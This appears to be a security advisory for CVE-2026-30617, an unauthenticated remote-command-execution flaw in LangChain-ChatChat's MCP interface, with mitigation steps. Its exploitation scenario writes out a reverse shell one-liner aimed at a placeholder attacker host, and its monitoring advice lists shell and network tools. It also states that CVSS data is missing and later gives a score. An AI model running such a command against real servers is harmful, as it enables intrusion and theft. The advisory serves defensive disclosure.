CVE-2026-30617: LangChain-ChatChat: RCE via unauthenticated MCP interface
HIGHLangChain-ChatChat 0.3.1 exposes an unauthenticated MCP management interface that lets any remote attacker plant arbitrary OS commands into the server configuration. When an AI agent subsequently executes with MCP enabled, those commands run in the service context — no user interaction, no credentials needed. The vulnerability aligns with the broader MCP supply chain attack surface documented by Ox Security across the AI ecosystem, signaling a systemic pattern rather than an isolated bug. There is no public exploit or CISA KEV entry as of publication, but the zero-auth exploitation path and prevalence of internet-exposed LangChain-ChatChat deployments in enterprise AI environments warrant immediate action. Restrict the MCP management interface to localhost or trusted networks now, and upgrade when a patched release is available.
Risk Assessment
HIGH risk despite missing CVSS data. The combination of a publicly exposed, unauthenticated management interface with direct command execution via AI agent tool invocation creates a trivial-to-exploit, maximum-impact vector. The MCP STDIO attack pattern is novel — it abuses the AI agent execution pathway rather than traditional application vulnerabilities — meaning existing WAFs and IDS signatures are unlikely to detect exploitation. AI deployments with internet-accessible LangChain-ChatChat instances are critically exposed. Internal-only deployments face lower but non-zero risk from insider threat and lateral movement scenarios.
Attack Kill Chain
Severity & Risk
Attack Surface
Recommended Action
6 steps-
IMMEDIATE
Firewall or ACL the MCP management interface to localhost or VPN-only — do not expose it to the public internet under any circumstances.
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Audit whether MCP is actually required for your deployment; disable it at the application level if not.
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Review existing MCP STDIO server configurations for unexpected commands, binaries, or arguments.
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Monitor process tree of the LangChain-ChatChat service for anomalous child processes (bash, sh, curl, wget, nc, python spawned from the service).
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Upgrade to a patched version as soon as one is released upstream.
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Apply container-level seccomp or AppArmor profiles to limit OS-level blast radius from any command execution.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-30617?
LangChain-ChatChat 0.3.1 exposes an unauthenticated MCP management interface that lets any remote attacker plant arbitrary OS commands into the server configuration. When an AI agent subsequently executes with MCP enabled, those commands run in the service context — no user interaction, no credentials needed. The vulnerability aligns with the broader MCP supply chain attack surface documented by Ox Security across the AI ecosystem, signaling a systemic pattern rather than an isolated bug. There is no public exploit or CISA KEV entry as of publication, but the zero-auth exploitation path and prevalence of internet-exposed LangChain-ChatChat deployments in enterprise AI environments warrant immediate action. Restrict the MCP management interface to localhost or trusted networks now, and upgrade when a patched release is available.
Is CVE-2026-30617 actively exploited?
No confirmed active exploitation of CVE-2026-30617 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-30617?
1. IMMEDIATE: Firewall or ACL the MCP management interface to localhost or VPN-only — do not expose it to the public internet under any circumstances. 2. Audit whether MCP is actually required for your deployment; disable it at the application level if not. 3. Review existing MCP STDIO server configurations for unexpected commands, binaries, or arguments. 4. Monitor process tree of the LangChain-ChatChat service for anomalous child processes (bash, sh, curl, wget, nc, python spawned from the service). 5. Upgrade to a patched version as soon as one is released upstream. 6. Apply container-level seccomp or AppArmor profiles to limit OS-level blast radius from any command execution.
What systems are affected by CVE-2026-30617?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM orchestration layers, MCP-enabled AI pipelines, multi-tool AI agents, RAG pipelines.
What is the CVSS score for CVE-2026-30617?
CVE-2026-30617 has a CVSS v3.1 base score of 8.6 (HIGH).
Technical Details
NVD Description
LangChain-ChatChat 0.3.1 contains a remote code execution vulnerability in its MCP STDIO server configuration and execution handling. A remote attacker can access the publicly exposed MCP management interface and configure an MCP STDIO server with attacker-controlled commands and arguments. When the MCP server is started and MCP is enabled for agent execution, subsequent agent activity triggers execution of arbitrary commands on the server. Successful exploitation allows arbitrary command execution within the context of the LangChain-ChatChat service.
Exploitation Scenario
An attacker scans for internet-facing LangChain-ChatChat instances and identifies the exposed MCP management endpoint. Without credentials, they POST a crafted payload to register a new MCP STDIO server entry pointing to a reverse shell command (e.g., bash -i >& /dev/tcp/attacker.com/4444 0>&1). The configuration persists server-side. When any legitimate user subsequently triggers an AI agent task with MCP enabled, the registered STDIO command fires in the server context, establishing a persistent reverse shell. The attacker exfiltrates database credentials, reads AI model configurations and API keys, and pivots to connected infrastructure — all triggered passively by normal user activity.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H Timeline
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